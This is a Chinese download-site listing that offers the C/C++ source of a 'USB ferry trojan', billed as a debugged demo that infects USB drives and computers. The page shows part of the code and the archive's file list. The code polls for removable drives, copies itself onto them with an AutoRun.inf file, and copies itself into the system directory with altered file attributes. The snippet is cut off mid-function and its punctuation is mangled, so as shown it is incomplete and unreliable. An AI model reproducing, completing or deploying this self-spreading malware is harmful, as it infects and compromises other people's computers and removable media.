• 大小: 9KB
    文件类型: .rar
    金币: 1
    下载: 0 次
    发布日期: 2021-06-08
  • 语言: C/C++
  • 标签: 摆渡  木马  源码  

资源简介

vc编写的u盘摆渡木马演示程序,调试通过,可演示木马感染u盘的过程,也可演示感染电脑的过程

资源截图

代码片段和文件信息

#include 
#include 
#include 
#include 

#define TIMER 1//计时器
#define WM_FROMC WM_USER+0//自定义消息 从C盘中启动
#define WM_FROMU WM_USER+1//自定义消息 从U盘中启动

//function 
LRESULT CALLBACK WndProc(HWND UINT WPARAM LPARAM);//窗口过程


//病毒从U盘启动时用到的函数
BOOL FileExist(TCHAR *path);//测试一个文件是否存在
BOOL GetSelfPath(TCHAR *path);//Get the virus“s path
BOOL FindU(TCHAR *u);//check whether u exist u[2]
BOOL GetSysPath(TCHAR *path);//得到系统路径
BOOL CopyToSysAndSet(HWND hwnd);//复制自身到系统目录和设置
BOOL SetFileAttrib(TCHAR *path);//设置path所指文件的属性
//BOOL RegAutoRun(TCHAR *path);//修改注册表,实现自启动

//从C盘启动时用到函数
BOOL CopyToUAndSet();//复制自己到U盘
BOOL CreateAutoRunFile(TCHAR *path);//在U盘下生成autorun.inf文件
BOOL FindSelf();//测试自己是否在已经执行了

//global variable
TCHAR szExePath[MAX_PATH];//the virus“s path
TCHAR U[2];//保存U盘的盘符
TCHAR szSysPath[MAX_PATH];//system path

//constant 
const TCHAR *szExeName=“um.exe“;
const TCHAR *szAutoRunFile=“AutoRun.inf“;

int WINAPI WinMain (HINSTANCE hInstance HINSTANCE hPrevInstanceLPSTR 

szCmdLine int iCmdShow)
{
static TCHAR szAppName[]=TEXT (“virus“);
HWND hwnd;
MSG msg;
WNDCLASS wndclass;

wndclass.style=0;
wndclass.lpfnWndProc=WndProc;
wndclass.cbClsExtra=0;
wndclass.cbWndExtra=0;
wndclass.hInstance=hInstance;
wndclass.hIcon=0;
wndclass.hCursor=0;
wndclass.hbrBackground=0;
wndclass.lpszMenuName=NULL;
wndclass.lpszClassName=szAppName;
if (!RegisterClass (&wndclass))
{
MessageBox (NULLTEXT(“Program requires Windows NT!“)szAppNameMB_IConerror);
return 0;
}
hwnd = CreateWindow (szAppName NULLWS_DISABLED0000NULL NULLhInstance NULL);


while (GetMessage(&msg NULL 0 0))
{
TranslateMessage (&msg);
DispatchMessage (&msg);
}
return msg.wParam;
}

LRESULT CALLBACK WndProc (HWND hwnd UINT message WPARAM wParamLPARAM 

lParam)
{
switch(message)
{
// 处理一些要下面要用到的全局变量
case WM_CREATE:
GetSysPath(szSysPath);//得到系统路径
SetTimer(hwndTIMER5000NULL);//启动计时器
GetSelfPath(szExePath);//得到自身的路径
return 0;
//timer message 
case WM_TIMER:

if(szExePath[0]==‘D‘)
{
if(FindU(U))
{
SendMessage(hwndWM_FROMC00);
}

}
else
SendMessage(hwndWM_FROMU00);
return 0;

case WM_FROMC:
CopyToUAndSet();
return 0;

case WM_FROMU:
CopyToSysAndSet(hwnd);
return 0;

case WM_DESTROY:
KillTimer(hwndTIMER);
PostQuitMessage(0);
return 0;
}
return ::DefWindowProc(hwnd message wParam lParam);
}

BOOL GetSelfPath(TCHAR *path)
{
if(GetModuleFileName(NULLpathMAX_PATH))//得到程序自身的目录
{
return TRUE;
}
else 
return FALSE;
}

BOOL FindU(TCHAR *u)
{
u[1]=‘:‘;
for(char d=‘C‘;d<=‘Z‘;d++)//遍历C到Z
{
    u[0]=d;
    if(GetDriveType(u)==DRIVE_REMOVABLE)//判断是不是可移动的盘
     return TRUE;
}
return FALSE;


BOOL GetSysPath(TCHAR *path)
{
return GetSystemDirectory(pathMAX_PATH);//得到系统路径
}

BOOL CopyToSysAndSet(HWND hwnd)

TCHAR szPath[MAX_PATH];
lstrcpy(szPath“d:“);
lstrcat(szPath“\\“);
lstrcat(szPathszExeName);//

 属性            大小     日期    时间   名称
----------- ---------  ---------- -----  ----

     文件       5263  2007-03-20 22:06  um\um.cpp

     文件       3914  2007-03-20 14:17  um\um.dsp

     文件        529  2007-03-20 13:04  um\um.dsw

     文件      41984  2007-03-20 22:06  um\um.ncb

     文件      50688  2007-03-20 22:06  um\um.opt

     文件        874  2007-03-20 20:52  um\um.plg

     目录          0  2007-03-22 08:40  um

----------- ---------  ---------- -----  ----

               103470                    8


评论

共有 条评论